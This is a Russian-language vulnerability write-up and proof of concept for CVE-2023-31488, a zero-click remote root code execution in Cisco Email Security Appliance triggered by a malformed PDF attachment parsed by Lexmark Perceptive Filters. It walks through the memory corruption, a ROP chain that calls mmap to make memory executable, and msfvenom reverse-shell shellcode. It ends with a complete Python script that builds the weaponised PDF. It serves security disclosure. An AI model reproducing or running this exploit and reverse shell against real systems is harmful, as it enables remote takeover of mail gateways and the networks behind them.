
Cisco Email Security Appliance: от письма до zero-click RCE с правами root — удалённое выполнение кода / повреждение памяти / ROP-цепочка
Исследователь безопасности: ly1g3, ly1g3[at]tuta.io
Отпечаток GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Обзор: zero-click RCE через email с правами root - удалённое выполнение кода / повреждение памяти / ROP-цепочка
CVE: CVE-2023-31488
Хронология:
Во время фаззинга Cisco Email Security Appliance (ESA) я обнаружил уязвимость в Lexmark Perceptive Filters, используемых ESA для санитизации данных почтовых вложений, что приводит к RCE через email. Сбой возникает при разборе модифицированного PDF-вложения. Путём изменения двузначного ID объекта PDF, например:
Например:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Изменение части ID с 13 на что-то другое (например, пробел) приводит к:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Отправка этого модифицированного PDF в письме на Cisco ESA вызывает крах с ошибкой сегментации в libISYSpdf6.so. Сбой происходит из-за того, что r14 содержит ASCII-данные.
Более детальное изучение показывает, что эти данные берутся из содержимого PDF-вложения, находящегося под нашим контролем. Значение r14 — это Rect.
![]()
Тестирование при изменении Rect на AAAA.
Поскольку значение r14 загружается из данных PDF, мы можем изменить его так, чтобы оно указывало на допустимый адрес памяти. После этой корректировки происходит ещё один сбой из-за недопустимых данных в RAX. Эти данные также являются ASCII из PDF.
Мы модифицируем PDF так, чтобы rax также указывал на реальный адрес, и продолжаем дальше.

Происходит новый сбой; теперь rsi содержит ASCII-данные из PDF.

Мы снова модифицируем PDF, чтобы загрузить реальный адрес памяти.
Наконец, мы доходим до очень интересного фрагмента кода. Здесь мы контролируем rdi, который используется для загрузки значения в rax. Финальная инструкция в этой последовательности — call rax. Теперь мы делаем хорошие успехи на пути к возможности выполнения кода.
Снова заходим в hex-редактор и изменяем значение, загружаемое в rdi.

Теперь у нас есть возможность ограниченного выполнения кода, и мы можем перейти на один адрес. Поскольку ASLR отсутствует, находить адреса памяти легко. Мы также контролируем rdi и поэтому используем начальный ROP-гаджет libISYSshared.so: push rdi; pop rsp; xor eax, , чтобы переместить rdi в rsp и управлять стеком. Мы направляем стек на область, которую контролируем в регионе памяти PDF, где подготовлен собственный стек с дополнительными ROP-гаджетами.

Shellcode обратной оболочки FreeBSD, сгенерированный msfvenom, размещается в регионе памяти PDF. Но поскольку память не исполняемая, сначала нам нужно сделать её исполняемой.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Поскольку на этом этапе мы контролируем стек, это можно сделать с помощью следующей ROP-цепочки для вызова mmap и установки области памяти shellcode как RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
После вызова mmap call rsp; выполнит NOP-слайд нашего shellcode, поскольку адрес shellcode находится следующим в нашем собственном стеке. Shellcode — это обратная оболочка, сгенерированная msfvenom.
Интересная особенность: этот код выполняется до любых статических антивирусных проверок, поэтому стандартная обратная оболочка Metasploit будет работать без проблем.
Мы можем использовать POC ниже для создания рабочего PDF. После этого мы просто отправляем его по email на ESA и получаем RCE. По поводу повышения привилегий смотрите мои другие уязвимости.
И таким образом мы получаем удалённую оболочку на ESA:
Это был увлекательный проект, который многому меня научил в области уязвимостей повреждения памяти. Он также демонстрирует, насколько хорошей защитой является «современная» защита памяти, такая как ASLR, но также и то, что до сих пор можно найти системы без ASLR.
Атака переполнением на ESA (Cisco Secure Email). Удалённое выполнение кода с правами root.
Отправка специально созданного PDF-файла вызывает переполнение, которое позволяет атакующему получить произвольное удалённое выполнение кода на ESA и других продуктах, использующих Lexmark Perceptive Filters.
Эта атака переполнением позволяет атакующему получить контроль над инструкцией call rax, что делает тривиальным переход к произвольному выполнению кода, поскольку на ESA не используется ASLR. Код будет выполняться с правами root.
Проблема возникает при разборе PDF в библиотеке libISYSpdf6.so от Lexmark и вызвана вызовами функции IGR_Open_File_Ex. Эта функция прослеживается до функций safeprint и image_analysis в AMP (Advanced Malware Protection), но эксплойт, возможно, можно активировать и другими путями.
Subtype/CIDFontType2/FontDescriptor. Пример можно найти здесь: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 на другое значение (например, пробел) 1 , что даст:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Отправьте PDF на ESA с включёнными safeprint или AMP image_analysis
Это приводит к ошибке сегментации (Segmentation Fault) в libISYSpdf6.so
// r14 is now user controlled and point to data in pdf
0x804d4ffc0 mov rax, QWORD PTR [r14+0x18]
// Call with controlled rax, start of ROP chain
0x804d50298: call rax
import sys
from pwn import *
message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf
For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
Change of pdf_data_base_address may be required.
ly1g3, ly1g3[at]tuta.io
"""
def insert_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
content.insert(at_address+i,addr[i])
def overwrite_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
index = at_address+i
content[index] = addr[i]
def overwrite_string_at_address(content, at_address, content_to_write):
for i in range(len(content_to_write)):
index = at_address+i
content[index] = content_to_write[i]
if len(sys.argv) < 3:
print(message)
sys.exit()
file_in = sys.argv[1]
file_out = sys.argv[2]
content = None
with open(file_in, "rb") as fi:
content = bytearray(fi.read())
pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20
pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00
# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Insert address for r14
# at 0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384
address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)
# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0
#0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)
#0x804e51fc4 add r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)
# 0x804e08536 mov rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)
# 0x804e52286 mov rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
# 0x804e52289 mov rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298 call rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)
# 0x804e5228d mov esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)
# $rdi will after this point to pdf_data_base_address can be used for rop chain
## ROP CHAIN
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0;
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret;
first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)
second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)
stack=0x230
overwrite_at_address(content, stack, rop3,8)
rop_chain_start=0x238
from struct import pack
p = lambda x : pack('Q', x)
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)
rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
rop += buf
print(rop)
overwrite_string_at_address(content, rop_chain_start, rop)
# ROP Chain here
with open(file_out, "wb") as fo:
fo.write(content)